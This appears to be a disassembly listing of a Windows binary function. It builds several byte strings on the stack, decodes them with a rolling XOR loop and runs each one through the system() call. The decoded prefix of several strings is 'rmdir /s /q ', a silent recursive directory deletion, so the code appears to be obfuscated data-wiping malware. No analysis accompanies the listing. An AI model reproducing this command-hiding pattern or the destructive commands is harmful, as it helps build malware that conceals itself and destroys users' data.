lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x1400701a0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f80]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121a70]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x140121820]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp - 0x39], 0x4b
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x140070220
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f80]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121a70]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], 0x47
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0x9cccc9d2
mov dword [rbp + 0xb], 0xb0b0ab89
mov dword [rbp + 0xf], 0xc8beb4aa
nop
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x1400702a0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121720]
mov edx, ebx
movdqa xmm1, xmmword [0x140121f10]
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x39], r15d
movdqu xmmword [rbp - 0x25], xmm1
mov dword [rbp - 0x15], 0xc1d7cce8
mov dword [rbp - 0x11], 0xa6c9
nop dword [rax]
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov r15d, dword [rbp - 0x39]
cmp edx, r15d
jb 0x140070300
lea rcx, [rbp - 0x35]
mov byte [rbp + r15 - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121e90]
mov edx, ebx
movdqa xmm1, xmmword [0x1401217f0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121ac0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401215e0]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x140121350]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x140120c20]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp - 0x39], r14d
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov r14d, dword [rbp - 0x39]
cmp edx, r14d
jb 0x140070391
lea rcx, [rbp - 0x35]
mov byte [rbp + r14 - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121d10]
xor ecx, ecx
movdqa xmm1, xmmword [0x140121920]
mov eax, 0x44
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121ab0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0x839fcdd9
mov dword [rbp + 0xb], 0xa1aba1a0
mov byte [rbp + 0xf], 0xc5
mov word [rbp + 0x10], cx
mov byte [rbp + 0x12], cl
test eax, eax
je 0x140070437
nop dword [rax]
mov eax, ebx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rbx - 0x7f]
inc ebx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp ebx, eax
jb 0x140070420
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret